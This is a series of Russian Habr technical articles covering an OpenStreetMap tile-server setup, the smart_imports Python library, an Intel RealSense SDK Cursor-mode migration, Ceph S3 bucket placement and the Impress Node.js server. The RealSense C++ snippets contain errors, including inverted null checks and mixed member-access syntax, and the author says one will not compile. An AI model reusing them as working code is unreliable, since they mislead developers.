Mid: Ram, scale=100
Reading in file: RU-SPE.osm
Processing: Node(1767k 176.7k/s) Way(264k 18.88k/s) Relation(7314 1828.50/s) parse time: 28s
Node stats: total(1767355), max(1633105798) in 10s
Way stats: total(264350), max(150391691) in 14s
Relation stats: total(7314), max(2024096) in 4s
Writing way (264k)
Writing relation (7314)
Committing transaction for planet_osm_point
Sorting data and creating indexes for planet_osm_point
Committing transaction for planet_osm_roads
Sorting data and creating indexes for planet_osm_roads
Committing transaction for planet_osm_line
Sorting data and creating indexes for planet_osm_line
Committing transaction for planet_osm_polygon
Sorting data and creating indexes for planet_osm_polygon
Indexes on planet_osm_roads created in 0s
Completed planet_osm_roads
Indexes on planet_osm_point created in 3s
Completed planet_osm_point
Indexes on planet_osm_line created in 4s
Completed planet_osm_line
Indexes on planet_osm_polygon created in 6s
Completed planet_osm_polygon
Osm2pgsql took 48s overall`
Если никаких ошибок нет, то поехали дальше.
Теперь нам нужны границы и береговая линия всего мира — это будет подложкой для нашей карты. Если этого не делать, подложка будет просто одноцветной.
Чтобы держать все в одном месте и в порядке, создадим папку /mapnik/ в своем домашнем каталоге.
Теперь перемещаемся туда и загружаем туда эти границы, для этого воспользуемся командами:
`wget tile.openstreetmap.org/world_boundaries-spherical.tgz
tar xvzf world_boundaries-spherical.tgz
wget tile.openstreetmap.org/processed_p.tar.bz2
tar xvjf processed_p.tar.bz2 -C world_boundaries
wget tile.openstreetmap.org/shoreline_300.tar.bz2
tar xjf shoreline_300.tar.bz2 -C world_boundaries
wget www.naturalearthdata.com/http//www.naturalearthdata.com/download/110m/cultural/110m-admin-0-boundary-lines.zip
unzip 110m-admin-0-boundary-lines.zip -d world_boundaries
wget www.naturalearthdata.com/http//www.naturalearthdata.com/download/10m/cultural/10m-populated-places.zip
unzip 10m-populated-places.zip -d world_boundaries`
Выше я обещал рассказать какие утилиты из [svn.openstreetmap.org/applications/rendering/mapnik](http://svn.openstreetmap.org/applications/rendering/mapnik/) нам будут нужны.
Так вот, нам будут нужны:
generate\_xml.py (Скорее всего придется подредактировать файл, и заменить import mapnik на import mapnik2 as mapnik)
osm.xml
и папки
inc/
symbols/
Еще может понадобиться скрипт для обновления файла osm.xml, его можно взять тут: [github.com/mapnik/mapnik/tree/master/utils/upgrade\_map\_xml](https://github.com/mapnik/mapnik/tree/master/utils/upgrade_map_xml)
А можно скачать osm.xml, который я уже поправил вот отсюда: [pastebin.com/bMsXytcc](http://pastebin.com/bMsXytcc)
Теперь сгенерируем map.xml, для этого запустим:
`./generate_xml.py osm.xml --host localhost --user user --dbname gis --symbols symbols/ --world_boundaries world_boundaries/ --port 5432 --epsg='900913' --accept-none > map.xml`
где --accept-none значит принимать непереданные параметры как пустые.
У нас должен получиться достаточно большой файл map.xml
Уже почти все, осталось сконфигурировать только TileCache.
Скачанный архив распакуем в `/usr/local/www/data/tilecache`. Тут нужно настроить всего два файла: tilecache.cfg и index.html.
В первом нужно объяснить TileCache откуда брать данные (а брать их надо из map.xml, который мы только что сделали).
Для этого добавим туда таки строки:
`[osm-map]
type=MapnikLayer
mapfile=/usr/home/user/mapnik/map.xml
spherical_mercator=true
bbox=-20037508.34,-20037508.34,20037508.34,20037508.34
resolutions=2445.984375,1222.9921875,611.49609375,305.748046875,152.8740234375,76.43701171875,38.218505859375,19.1092529296875,9.55462646484375,4.777314,2.388657,1.1943285,0.59716427,0.298582
metaTile=true
metaSize=8,8
metaBuffer=40
levels=12
extent_type=loose`
Важные параметры тут:
`mapfile=/usr/home/user/mapnik/map.xml` путь к файлу с данными
`bbox=-20037508.34,-20037508.34,20037508.34,20037508.34` границы области. Это границы для всего мира, подробнее можно прочитать тут: [docs.openlayers.org/library/spherical\_mercator.html](http://docs.openlayers.org/library/spherical_mercator.html)
resolutions=… вот это самое интересное. Эти числа — разрешения разных уровней приближения (zoom level), которые должны быть такими, что при делении на них число 20037508.34\*2/256 будет давать степень двойки. Это число — сторона «квадрата» мира деленная на сторону одного тайла (маленького квадратика), которая по-умолчанию равна 256 пикселей.
Все другие слои лучше закомментировать для проверки того что наш работает.
Теперь перейдем к index.html.
В нем нужно настроить функцию init(), например так:
`function init(){
map = new OpenLayers.Map("map", {
maxExtent: new OpenLayers.Bounds(-20037508.34,-20037508.34,20037508.34,20037508.34),
numZoomLevels:14,
maxResolution:156543.03125/64,
units:'m',
projection: "EPSG:900913",
displayProjection: new OpenLayers.Projection("EPSG:4326")
});
layer = new OpenLayers.Layer.WMS( "OSM",
"tilecache.cgi?", {layers: 'osm-map', format: 'image/png'} );
map.addLayer(layer);
map.addControl(new OpenLayers.Control.Permalink());
map.addControl(new OpenLayers.Control.PanZoomBar());
map.addControl(new OpenLayers.Control.LayerSwitcher({'ascending':false}));
map.addControl(new OpenLayers.Control.Permalink());
map.addControl(new OpenLayers.Control.Permalink('permalink'));
map.addControl(new OpenLayers.Control.MousePosition());
map.addControl(new OpenLayers.Control.OverviewMap());
map.addControl(new OpenLayers.Control.KeyboardDefaults());
if (!map.getCenter()) {
var proj = new OpenLayers.Projection("EPSG:4326");
var point = new OpenLayers.LonLat(30, 60);
map.setCenter(point.transform(proj, map.getProjectionObject()),4);
}
}`
Нужно обратить внимание на следующие параметры:
`maxExtent: new OpenLayers.Bounds(-20037508.34,-20037508.34,20037508.34,20037508.34)` границы должны быть точно такими же, как и в tilecache.cfg.
`maxResolution:156543.03125/64` это 2445.984375, т.е. максимальное разрешение.
`map.setCenter(point.transform(proj, map.getProjectionObject()),4);` установка центра карты и начального зума так, чтобы был виден общий план Санкт-Петербурга.
Мелкий штрих: разрешить апачу выполнять tilecache.cgi:
`AllowOverride None
Options None
Order allow,deny
Allow from all`
И `chmod 755 tilecache.cgi`
##### Проверяем
Для проверки нужно просто открыть браузером папку tilecache и если все прошло хорошо, увидеть вот такую карту (правда тут еще загружена Ленинградская область):
##### Итого
В итоге должен получиться сервер, умеющий читать данные из базы данных PostGIS и превращать их в тайлы без подключения к Интернету.
Постараюсь ответить на вопросы, если что-то пойдет не так. | https://habr.com/ru/post/138791/ | null | ru | null |
# Автоматизация импортов в Python
| До | После |
| --- | --- |
|
```
import math
import os.path
import requests
# 100500 other imports
print(math.pi)
print(os.path.join('my', 'path'))
print(requests.get)
```
|
```
import smart_imports
smart_imports.all()
print(math.pi)
print(os_path.join('my', 'path'))
print(requests.get)
```
|
Так получилось, что аж с 2012 года я разрабатываю open source браузерку, являясь единственным программистом. На Python само собой. Браузерка — штука не самая простая, сейчас в основной части проекта больше 1000 модулей и более 120 000 строк кода на Python. В сумме же с проектами-спутниками будет раза в полтора больше.
В какой-то момент мне надоело возиться с этажами импортов в начале каждого файла и я решил разобраться с этой проблемой раз и навсегда. Так родилась библиотека **smart\_imports** ([github](https://github.com/Tiendil/smart-imports), [pypi](https://pypi.org/project/smart-imports/)).
Идея достаточно проста. Любой сложный проект со временем формирует собственное соглашение об именовании всего. **Если это соглашение превратить в более формальные правила, то любую сущность можно будет импортировать автоматически по имени ассоциированной с ней переменной.**
Например, не надо будет писать `import math` чтобы обратиться к `math.pi` — мы и так можем понять, что в данном случае `math` — модуль стандартной библиотеки.
Smart imports поддерживают Python >= 3.5 Библиотека полностью покрыта тестами, [coverage > 95%](https://coveralls.io/github/Tiendil/smart-imports?branch=develop). Сам пользуюсь уже год.
За подробностями приглашаю под кат.
Как оно работает в целом
------------------------
Итак, код из заглавной картинки работает следующим образом:
1. Во время вызова `smart_imports.all()` библиотека строит AST модуля, из которого сделан вызов;
2. Находим неинициализированные переменные;
3. Имя каждой переменной прогоняем через последовательность правил, которые пытаются по имени найти нужный для импорта модуль (или атрибут модуля). Если правило обнаружило необходимую сущность, следующие правила не проверяются.
4. Найденные модули загружаются, инициализируются и помещаются в глобальное пространство имён (либо туда помещаются нужные атрибуты этих модулей).
Неинициализированные переменные ищутся во всех местах кода, включая новый синтаксис.
Автоматическое импортирование включается только для тех компонентов проекта, которые явно вызывают `smart_imoprts.all()`. Кроме того, использование smart imports не запрещает использовать обычные импорты. Это позволяет внедрять библиотеку постепенно, равно как и разрешать сложные циклические зависимости.
Дотошливый читатель заметит, что AST модуля конструируется два раза:
* первый раз его строит CPython во время импорта модуля;
* второй раз его строит smart\_imports во время вызова `smart_imports.all()`.
AST действительно можно строить только один раз (для этого надо встроиться в процесс импорта модулей с помощью import hooks реализованных в [PEP-0302](https://www.python.org/dev/peps/pep-0302/), но такое решение замедляет импорт.
**Как думаете, почему?**Сравнивая производительность двух реализаций (с хуками и без), я пришёл к выводу, что при импорте модуля CPython строит AST в своих внутренних (C-шных) структурах данных. Конвертация их в структуры данных Python выходит дороже, чем построение дерева по исходникам с помощью модуля [ast](https://docs.python.org/3/library/ast.html).
Само собой, AST каждого модуля строится и анализируется только раз за запуск.
Правила импорта по-умолчанию
----------------------------
Библиотеку можно использовать без дополнительной конфигурации. По-умолчанию она импортирует модули по следующим правилам:
1. По точному совпадению имени ищет модуль рядом с текущим (в том же каталоге).
2. Проверяет модули стандартной библиотеки:
* по точному совпадению имени для пакетов верхнего уровня;
* для вложенных пакетов и модулей проверяет составные имена с заменой точки на подчёркивание. Например `os.path` будет импортирован при наличии переменной `os_path`.
3. По точному совпадению имени ищет установленные сторонние пакеты. Например общеизвестный пакет [requests](https://pypi.org/project/requests/).
Производительность
------------------
Работа smart imports не сказывается на показателях работы программы, но увеличивает время её запуска.
Из-за повторного построения AST время первого запуска увеличивается примерно в 1.5-2 раза. Для малых проектов это несущественно. В больших проектах же время запуска страдает скорее от структуры зависимостей между модулями, чем от времени импорта конкретного модуля.
~~Когда~~ если smart imports станут популярными, перепишу работу с AST на C — это должно заметно снизить издержки при запуске.
Для ускорения загрузки, результаты обработки AST модулей можно кэшировать на файловой системе. Включается кэширование в конфиге. Само собой, кэш инвалидируется при изменении исходников.
На время запуска влияет как перечень правил поиска модулей, так и их последовательность. Так как некоторые правила используют стандартную функциональность Python для поиска модулей. Исключить эти расходы можно явно указав соответствие имён и модулей с помощью правила «Кастомизированные имена» (см. далее).
Конфигурация
------------
Дефолтная конфигурация была описана ранее. Её должно хватать для работы со стандартной библиотекой в небольших проектах.
**Дефолтный конфиг**
```
{
"cache_dir": null,
"rules": [{"type": "rule_local_modules"},
{"type": "rule_stdlib"},
{"type": "rule_predefined_names"},
{"type": "rule_global_modules"}]
}
```
При необходимости, более сложный конфиг можно положить на файловую систему.
[Пример сложного конфига](https://gist.github.com/Tiendil/837423689595e548b0b22f20c2c2149f) (из браузерки).
Во время вызова `smart_import.all()` библиотека определяет положение вызывающего модуля на файловой системе и начинает искать файл `smart_imports.json` по направлению от текущего каталога к корневому. Если такой файл найден, он считается конфигурацией для текущего модуля.
Можно использовать несколько разных конфигов (разместив их в разных каталогах).
Параметров конфигурации сейчас не так много:
```
{
// Каталог для хранения кэша AST.
// Если не указан или null — кэш не используется.
"cache_dir": null|"string",
// Список конфигов правил в порядке их применения.
"rules": []
}
```
Правила импорта
---------------
Порядок указания правил в конфиге определяет порядок их применения. Первое сработавшее правило останавливает дальнейший поиск импортов.
В примерах конфигов далее будет часто фигурировать правило `rule_predefined_names`, оно необходимо чтобы корректно распознавались встроенные функции (например, `print`).
### Правило 1: Предопределённые имена
Правило позволяет игнорировать предопределённые имена вроде `__file__` и встроенные функции, например `print`.
**Пример**
```
# конфиг:
# {
# "rules": [{"type": "rule_predefined_names"}]
# }
import smart_imports
smart_imports.all()
# мы не будем искать модуль с именем __file__
# хотя в коде эта переменная не проинициализирована
print(__file__)
```
### Правило 2: Локальные модули
Проверяет, есть ли рядом с текущим модулем (в том же каталоге) модуль с указанным именем. Если есть, импортирует его.
**Пример**
```
# конфиг:
# {
# "rules": [{"type": "rule_predefined_names"},
# {"type": "rule_local_modules"}]
# }
#
# код на файловой системе:
#
# my_package
# |-- __init__.py
# |-- a.py
# |-- b.py
# b.py
import smart_imports
smart_imports.all()
# Будет импортирован модуль "a.py"
print(a)
```
### Правило 3: Глобальные модули
Пробует импортировать модуль непосредственно по имени. Например, модуль [requests](https://pypi.org/project/requests/).
**Пример**
```
# конфиг:
# {
# "rules": [{"type": "rule_predefined_names"},
# {"type": "rule_global_modules"}]
# }
#
# ставим дополнительный пакет
#
# pip install requests
import smart_imports
smart_imports.all()
# Будет импортирован модуль requests
print(requests.get('http://example.com'))
```
### Правило 4: Кастомизированные имена
Соотносит с именем конкретный модуль или его атрибут. Соответствие указывается в конфиге правила.
**Пример**
```
# конфиг:
# {
# "rules": [{"type": "rule_predefined_names"},
# {"type": "rule_custom",
# "variables": {"my_import_module": {"module": "os.path"},
# "my_import_attribute": {"module": "random", "attribute": "seed"}}}]
# }
import smart_imports
smart_imports.all()
# В примере исплользованы модули стандартной библиотеки
# Но аналогично можно импортировать любой другой модуль
print(my_import_module)
print(my_import_attribute)
```
### Правило 5: Стандартные модули
Проверяет, не является ли имя модулем стандартной библиотеки. Например [math](https://docs.python.org/3/library/math.html) или [os.path](https://docs.python.org/3/library/os.path.html) который трансформируется в `os_path`.
Работает быстрее чем правило импорта глобальных модулей, так как проверяет наличие модуля по закэшированному списку. Списки для каждой версии Python берутся отсюда: [github.com/jackmaney/python-stdlib-list](https://github.com/jackmaney/python-stdlib-list)
**Пример**
```
# конфиг:
# {
# "rules": [{"type": "rule_predefined_names"},
# {"type": "rule_stdlib"}]
# }
import smart_imports
smart_imports.all()
print(math.pi)
```
### Правило 6: Импорт по префиксу
Импортирует модуль по имени, из пакета, ассоциированного с его префиксом. Удобно использовать, когда у вас есть несколько пакетов использующихся во всём коде. Например к модулям пакета `utils` можно обращаться с префиксом `utils_`.
**Пример**
```
# конфиг:
# {
# "rules": [{"type": "rule_predefined_names"},
# {"type": "rule_prefix",
# "prefixes": [{"prefix": "utils_", "module": "my_package.utils"}]}]
# }
#
# код на файловой системе:
#
# my_package
# |-- __init__.py
# |-- utils
# |-- |-- __init__
# |-- |-- a.py
# |-- |-- b.py
# |-- subpackage
# |-- |-- __init__
# |-- |-- c.py
# c.py
import smart_imports
smart_imports.all()
print(utils_a)
print(utils_b)
```
### Правило 7: Модуль из родительского пакета
Если у вас есть одноимённые субпакеты в разных частях проекта (например, `tests` или `migrations`), для них можно разрешить искать модули для импорта по имени в родительских пакетах.
**Пример**
```
# конфиг:
# {
# "rules": [{"type": "rule_predefined_names"},
# {"type": "rule_local_modules_from_parent",
# "suffixes": [".tests"]}]
# }
#
# код на файловой системе:
#
# my_package
# |-- __init__.py
# |-- a.py
# |-- tests
# |-- |-- __init__
# |-- |-- b.py
# b.py
import smart_imports
smart_imports.all()
print(a)
```
### Правило 8: Привязка к другому пакету
Для модулей из конкретного пакета разрешает поиск импортов по имени в других пакетах (указанных в конфиге). В моём случае это правило оказалось полезным для случаев, когда не хотелось распространять работу предыдущего правила (Модуль из родительского пакета) на весь проект.
**Пример**
```
# конфиг:
# {
# "rules": [{"type": "rule_predefined_names"},
# {"type": "rule_local_modules_from_namespace",
# "map": {"my_package.subpackage_1": ["my_package.subpackage_2"]}}]
# }
#
# код на файловой системе:
#
# my_package
# |-- __init__.py
# |-- subpackage_1
# |-- |-- __init__
# |-- |-- a.py
# |-- subpackage_2
# |-- |-- __init__
# |-- |-- b.py
# a.py
import smart_imports
smart_imports.all()
print(b)
```
### Добавление собственных правил
Добавить собственное правило довольно просто:
1. Наследуемся от класса [smart\_imports.rules.BaseRule](https://github.com/Tiendil/smart-imports/blob/develop/smart_imports/rules.py#L100).
2. Реализуем нужную логику.
3. Регистрируем правило с помощью метода [smart\_imports.rules.register](https://github.com/Tiendil/smart-imports/blob/develop/smart_imports/rules.py#L336)
4. Добавляем правило в конфиг.
5. ???
6. Профит.
Пример можно найти в [реализации текущий правил](https://github.com/Tiendil/smart-imports/blob/develop/smart_imports/rules.py)
Профит
------
Пропали многострочные списки импортов в начале каждого исходника.
Cократилось количество строк. До перехода браузерки на smart imports в ней было 6688 строк отвечающих за импорт. После перехода осталось 2084 (по две строки smart\_imports на каждый файл + 130 импортов, вызываемых явно из функций и подобных мест).
Приятным бонусом оказалась стандартизация имён в проекте. Код стало легче читать и легче писать. Пропала необходимость думать над именами импортируемых сущностей — есть несколько чётких правил, которым просто следовать.
Планы развития
--------------
Идея определять свойства кода по именам переменных мне нравится, поэтому буду пробовать развивать её как в рамках smart imports, так и в рамках других проектов.
Касательно smart imports, планирую:
1. Добавлять поддержку новых версий Python.
2. Исследовать возможность опереться на текущие наработки сообщества по аннотации кода типами.
3. Исследовать возможность сделать ленивые импорты.
4. Реализовать утилиты для автоматической генерации конфига по исходникам и рефакторингу исходников на использование smart\_imports.
5. Переписать часть кода на C, чтобы ускорить работу с AST.
6. Развивать интеграцию с линтерами и IDE, если у тех будут возникать проблемы с анализом кода без явных импортов.
Кроме того, мне интересно ваше мнение по поводу дефолтного поведения библиотеки и правил импорта.
Спасибо что осилили эту простыню текста :-D | https://habr.com/ru/post/459930/ | null | ru | null |
# Переход от режима Hand в Intel RealSense SDK R4 (v6.0) к режиму Cursor в Intel RealSense SDK 2016 R1
После появления камеры Intel RealSense [SR300](https://software.intel.com/en-us/RealSense/SR300Camera) и пакета [Intel RealSense SDK 2016 R1](https://software.intel.com/en-us/intel-realsense-sdk) появился новый режим взаимодействия с помощью жестов — режим указателя ([Cursor](https://software.intel.com/en-us/blogs/2016/02/15/realsense-cursor-mode)), доступный только при использовании камеры SR300. В этом учебном руководстве описываются изменения кода, необходимые для задействования этой новой функциональности.
До выпуска пакета Intel RealSense SDK 2016 R1 приложения, в которых нужно управлять движением указателя и обнаруживать действия щелчков, использовали режим Hand, а для определения щелчков применяли распознавание жестов. Эта функциональность режима Hand теперь превратилась в новый режим Cursor. Приложения, использующие прежнюю функциональность, после переделки кода смогут воспользоваться более высокой точностью и более широкими возможностями управления указателем в режиме Cursor.
Обратите внимание, что режим Cursor доступен только для устройств с камерой Intel RealSense SR300. Разработчикам приложений Intel RealSense, использующим камеры SR300, необходимо обновить операционную систему до Windows\* 10 и использовать Intel RealSense SDK версии 2016 R1.
Скорее всего, у вас уже есть приложение, написанное для камеры F200 с помощью Intel RealSense SDK R4 (v6.0). Как двинуться дальше и использовать новый режим Cursor?
Инициализация конвейера процесса должна происходить так же, как в предыдущей версии Intel RealSense SDK. Необходимо создать экземпляр Sense Manager и убедиться, что в процессе нет ошибок.
```
PXCSenseManager *pSenseMgr = new PXCSenseManager::CreateInstance();
if( !pSenseMgr ) {
< continue on to creating the modes >
}
```
Ранее, в режиме Hand на камерах F200, для получения чего-либо, хотя бы отдаленного напоминающего указатель, требовалось задействовать модуль Hand и отслеживать руки в различных конфигурациях. Код при этом мог выглядеть примерно так (обратите внимание, что следующий код приведен для справки, он не будет компилироваться непосредственно в том виде, в котором он показан здесь):
```
PXCHandModule *pHandModule;
PXCHandData *pHandData;
int confidence;
. . . <дополнительная библиотека и настройка переменных> . . .
pxcStatus status;
if( !pSenseMgr ) {
status = pSenseMgr->EnableHand()
if(status == pxcStatus::PXC_STATUS_NO_ERROR) {
// Get an instance of PXCHandModule
handModule = pSenseMgr->QueryHand();
// Get an instance of PXCHandConfiguration
PXCHandConfiguration handConfig = handModule
handConfig->EnableGesture("cursor_click");
handConfig->ApplyChanges();
. . . <дополнительные параметры конфигурации> . . .
}
}
```
В Intel RealSense SDK начиная с версии 2016 R1 реализован новый режим Cursor, действия с указателем отделены от режима Hand. Это означает, что необходимо переработать прежний код, запрашивавший режим Hand в Sense Manager. Новый код будет выглядеть так:
```
PXCHandCursorModule *pCursorModule;
PXCCursorData::BodySideType bodySide;
// обратите внимание, что значений Confidence больше нет
. . . <дополнительная библиотека и настройка переменных> . . .
pxcStatus status;
if( !pSenseMgr ) {
// Enable handcursor tracking
status = pSenseMgr::EnableHandCursor();
if(status == pxcStatus.PXC_STATUS_NO_ERROR) {
// Get an instance of PXCCursorModule
pCursorModule = pSenseMgr->QueryHandCursor();
// Get an instance of the cursor configuration
PXCCursorConfiguration *pCursorConfig = CursorModule::CreateActiveConfiguration();
// Make configuration changes and apply them
pCursorConfig.EnableEngagement(true);
pCursorConfig.EnableAllGestures();
pCursorConfig.ApplyChanges();
. . . <дополнительные параметры конфигурации> . . .
}
}
```
Реализация примеров основных вычислительных циклов для синхронных и асинхронных функций см. в [документации Intel RealSense SDK 2016 R1](https://software.intel.com/sites/landingpage/realsense/camera-sdk/v1.1/documentation/html/index.html?doc_devguide_introduction.html) в разделе [Реализация основного вычислительного цикла «Модуль Cursor [SR300]»](https://software.intel.com/sites/landingpage/realsense/camera-sdk/v1.1/documentation/html/index.html?doc_hand_implementing_the_main_processi.html).
Асинхронный (рекомендуемый) подход будет выглядеть так:
```
class MyHandler: public PXCSenseManager::Handler {
public:
virtual pxcStatus PXCAPI OnModuleProcessedFrame(pxcUID mid, PXCBase *module, PXCCapture::Sample *sample) {
// check if the callback is from the hand cursor tracking module
if (mid==PXCHandCursorModule::CUID) {
PXCHandCursorModule *cursorModule=module->QueryInstance();
PXCCursorData \*cursorData = cursorModule->CreateOutput();
// process cursor tracking data
}
// return NO\_ERROR to continue, or any error to abort
return PXC\_STATUS\_NO\_ERROR;
}
};
. . . <объявление SenseManager> . . .
// Initialize and stream data
MyHandler handler; // Instantiate the handler object
// Register the handler object
pSenseMgr->Init(&handler);
// Initiate SenseManager’s processing loop in blocking mode
// (function exits only when processing ends)
pSenseMgr ->StreamFrames(true);
// Release SenseManager resources
pSenseMgr ->Release()
```
Итак, в Intel RealSense SDK 2016 R1 изменилась реализация и доступ к указателю руки, но все изменения однородны, что упрощает переделку кода. В приведенном выше примере кода демонстрируется эта простота: показано, что структура программы при инициализации, настройке и покадровом выполнении может остаться неизменной, при этом программа будет использовать расширенные возможности нового режима Cursor.
Напомним, что новый режим Cursor доступен только для систем с камерой SR300 (камера может быть встроенной или подключаться в виде отдельного периферийного устройства) и с версией RealSense SDK 2016 R1. Возможность кода обнаруживать модель камеры и поддерживать одновременно камеры F200 и SR300 будет описана в других учебных руководствах. | https://habr.com/ru/post/306010/ | null | ru | null |
# Разносим S3 бакеты по разным пулам в Ceph Luminous
В процессе настройки нового кластера на Ceph Luminous появилась задача разнести разные S3 бакеты по разным устройствам хранения (в моем случае SSD и HDD). В интернете много инструкций как это сделать в Ceph Jewel, но в случае с Luminous процесс претерпел большие изменения и старые инструкции больше не работают. Вместе с тем, что в офф документации этот сценарий не описан, процесс настройки становится не слишком тривиальным.
Задача
------
Еще раз опишу задачу: в каждую ноду кластера установлено некоторое количество HDD и SSD дисков. Необходимо, чтобы можно было при создании S3 бакета указать на каких устройствах его хранить (HDD или SSD).
Разносим пулы по разным девайсам
--------------------------------
Посмотрим текущие правила репликации. По дефолту там должна быть только запись «replicated\_rule»:
```
ceph osd crush rule ls
```
Благодаря нововведению в Luminous Ceph умеет сам определять тип устройства и мы можем легко разделить их по разным правилам репликации:
```
ceph osd crush rule create-replicated replicated_hdd default host hdd
ceph osd crush rule create-replicated replicated_ssd default host ssd
```
Удалим старое дефолтное правило:
```
ceph osd crush rule rm replicated_rule
```
Теперь создадим новый дополнительный пул, в котором мы будем хранить S3 объекты и расположим его на SSD:
```
ceph osd pool create default.rgw.buckets.data.ssd 8 8 replicated replicated_ssd
```
А дефолтный пул с данными расположим на HDD:
```
ceph osd pool set default.rgw.buckets.data crush_rule replicated_hdd
```
Естественно можно сделать наоборот и расположить дефолтный на SSD.
Настраиваем Rados Gateway
-------------------------
Самая интересная часть, ради которой и писалась статья.
При новой установке кластер идет без дефолтного Realm. Не очень понятно почему так сделано. Создадим Realm «default» и назначим его дефолтным:
```
radosgw-admin realm create --rgw-realm=default --default
```
Добавим дополнительный placement для SSD бакетов в zonegroup default:
```
radosgw-admin zonegroup placement add --rgw-zonegroup=default --placement-id="ssd-placement"
```
И добавим дополнительный placement в зону default:
```
radosgw-admin zone placement add --rgw-zone=default --placement-id="ssd-placement" --data-pool="default.rgw.buckets.data.ssd" --index-pool="default.rgw.buckets.index"
```
У нас для хранения индекса всех объектов (и HDD и SSD) используется один пул «default.rgw.buckets.index», но можно создать отдельный пул для индекса.
Привяжем zonegroup «default» к realm «default» и закомитим изменения:
```
radosgw-admin zonegroup modify --rgw-zonegroup=default --rgw-realm=default
radosgw-admin period update --commit
```
Последний шаг— перезапустить Rados Gateway.
Теперь мы можем создать новый бакет на SSD (обратите внимание на двоеточие, без него не работало):
```
s3cmd mb s3://test --bucket-location=:ssd-placement
```
Или создать бакет с дефолтным размещением (в нашем случае на HDD):
```
s3cmd mb s3://test
```
Надеюсь, моя маленькая заметка сэкономит кому-то время при решении аналогичной задачи. | https://habr.com/ru/post/351894/ | null | ru | null |
# Impress Application Server простыми словами
Это не первая вводная статья про [Impress](https://www.npmjs.com/package/impress) на Хабре, но за последний год я получил много вопросов и приобрел некоторый опыт в объяснении архитектуры и философии этого сервера приложений и, надеюсь, стал лучше понимать проблемы и задачи разработчиков, начинающих его освоение. Да и в самом сервере произошло [достаточно](https://github.com/tshemsedinov/impress/graphs/contributors) изменений, чтобы назрела актуальность совершенно новой вводной статьи.
[Impress Application Server](https://github.com/tshemsedinov/impress) (IAS) — это сервер приложений для [Node.js](http://nodejs.org/) с альтернативной архитектурой и философией, не похожий на мэйнстрим разработки под нодой и призванный упростить и автоматизировать широкий круг повторяемых типовых задач, поднять уровень абстракции прикладного кода, задать рамки и структуру приложений, оптимизировать как производительность кода, так и производительность разработчиков. IAS покрывает сейчас только серверные задачи, но делает это комплексно, например, можно объединить на одном порту API, веб-сокеты, стриминг, статику, Server-Sent Events, проксирование и URL-реврайтинг, обслуживать несколько доменов и несколько приложений, как на одном сервере, так и на группе серверов, работающих в связке, как одно целое, как один сервер приложений.
#### Введение
Для начала, я хочу перечислить ряд проблем в общепринятом подходе для node.js, которые побудили меня начать разработку сервера приложений:
1. **Прикладной код часто смешан с системным.** Дело в том, что нода, и большинство производных фреймворков, слишком низкоуровневые и каждое приложение обязательно содержит часть системного кода, не относящегося к задачам предметной области. Вот и случается, например, что добавление HTTP заголовка становится методом класса Patient и находится в одном файле с заданием роутинга URLов к сему пациенту и с отправкой событий через веб-сокеты. Это чудовищно.
2. **Нода дает чрезмерную свободу в плане архитектуры** приложений, которую сложно сразу переварить не только начинающему, но даже бывалому специалисту. Кроме концепции middleware, которой, согласитесь, маловато для полноценной разработки, нет распространенных архитектурных паттернов. Разделение проекта на файлы, разделение логики на классы, применение паттернов, создание внутренних API в приложениях, выделение слоев и даже структура каталогов — все это оставлено на усмотрение разработчика. В результате структура и архитектура проектов очень отличается у разных команд и специалистов, что усложняет понимание и стыковку кода.
3. В мире ноды существует фанатичное **поклонение REST** и, как следствие, отказ от хранения состояния в памяти сервера. Это при том, что приложения Node.js живут в памяти долго (т.е. не подгружаются при каждом запросе и не завершаются между запросами). Слабое использование памяти игнорирование возможности развернуть там модель решаемой задачи на долгое время (благодаря чему, можно бы было сократить I/O до самого минимума) — это преступление против производительности.
4. Большое количество модулей в npm — это **мусорные модули**, а среди немногих хороших, бывает **не просто найти подходящий** (количество скачиваний и звезд не всегда адекватно отражает качество кода и скорость устранения проблем). Еще сложнее составить цельное приложение из набора хороших, пусть даже очень хороших модулей. Все вместе они могут вести себя нестабильно и непредсказуемо. Модули не достаточно экранированны друг от друга, чтобы исключить конфликты интеграции (например, какой-то модуль может переопределить res.end или отправить http заголовки, а другие не ожидают такого поведения).
Есть еще много мелких проблем, а глубокое горе с отловом ошибок в Node.js, это тема для трех томов, залитых слезами, кровью и кофе (чаем). Как следствие всего перечисленного — нода, все еще вызывает опасения и, в большинстве случаев, используется как дополнительный инструмент в связке с другими серверными технологиями, выполняя подсобные работы, как то: скриптование сборки клиентских приложений, прототипирование или обеспечение доставки уведомлений по веб-сокетам. Очень редко можно встретить крупный проект, имеющий серверную часть исключительно на ноде.
#### Постановка задачи
Кроме негативной мотивации (перечисленные проблемы), были еще позитивные побуждающие факторы для разработки IAS (идеи и задачи):
1. **Масштабирование** node.js приложений более чем на один сервер, каждый из которых имеет свой cluster (кластер процессов, связанных межпроцессовым взаимодействием IPC).
2. Обслуживание множества приложений в рамках как одного процесса, так и кластера процессов или фермы серверов с кластером процессов на каждом.
3. **Автоматическая замена кода в памяти**, если он изменился на диске, даже без перезапуска приложения, через наблюдение за файловой системой. Как только файлы, подгруженные приложением, меняются, то IAS читает их в память. В какой-то момент в памяти может быть несколько версий кода, старый выгружается как только завершена обработка всех запросов, пришедших до изменения, а новый уже используется для следующих запросов.
4. **Синхронизация структур данных** в памяти между процессами. Конечно не всех структур памяти, а только развернутого в ней глобального фрагмента модели предметной области. Поддерживаются аддитивные изменения и транзакци, т.е. если какой-то параметр инкрементируется параллельно в разных процессах, то изменения эти сливаются, ведь их порядок не важен.
#### Философия Impress
1. Максимальное **использование памяти**. Быстрее асинхронного I/O это только когда вообще нет I/O или оно сокращено до минимума и выполняется в отложенном режиме (lazy), а не во время запросов.
2. **Монолитная архитектура** и высокая связанность кода, все основные модули интегрированы, согласованы и оптимизированы для работы вместе. Благодаря этому нет лишних проверок, а поведение при решении типовых задач — всегда предсказуемо.
3. **Мультиплексор** портов, хостов, IP, протоколов, серверов, процессов, приложений, обработчиков и методов. Таким образом, вы можете совместить на одном порту статику, API, веб-сокеты, SSE, стриминг видео и больших файлов, обрабатывать несколько приложений на разных доменах или многодоменные сайты и т.д.
4. Принцип **прикладной виртуальной машины** изолированной от окружения при помощи песочниц (sandboxes). Для каждого приложения есть свой контекст (область видимости), в который загружены свои библиотеки и данные. В приложении архитектурно предусмотрены места для всевозможных обработчиков: инициализации и финализации, моделей данных и структуры БД, конфигурации и установки (первого старта), обновления, миграции и т.д.
